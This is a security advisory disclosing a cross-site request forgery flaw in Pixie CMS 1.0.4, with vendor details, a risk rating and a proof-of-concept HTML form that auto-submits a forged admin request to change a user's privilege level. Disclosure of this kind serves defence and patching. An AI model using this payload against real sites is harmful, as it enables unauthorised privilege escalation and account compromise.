Vulnerability ID: HTB22471 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_pixie_1.html Product: Pixie Vendor: Toggle Labs Ltd ( http://www.getpixie.co.uk/ ) Vulnerable Version: 1.0.4 and Probably Prior Versions Vendor Notification: 01 July 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the user privilieges script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&x=users"; method="post" name="main" > <input type="hidden" name="uname" value="test" /> <input type="hidden" name="realname" value="test name2" /> <input type="hidden" name="email" value="myemail@xxxxxxxxxxxxxxxxx" /> <input type="submit" name="user_edit" id="sbmtit" value="Update" /> <input type="hidden" name="privilege" value="2" /> <input type="hidden" name="user_id" value="2" /> </form> <script> document.getElementById('sbmtit').click(); </script>
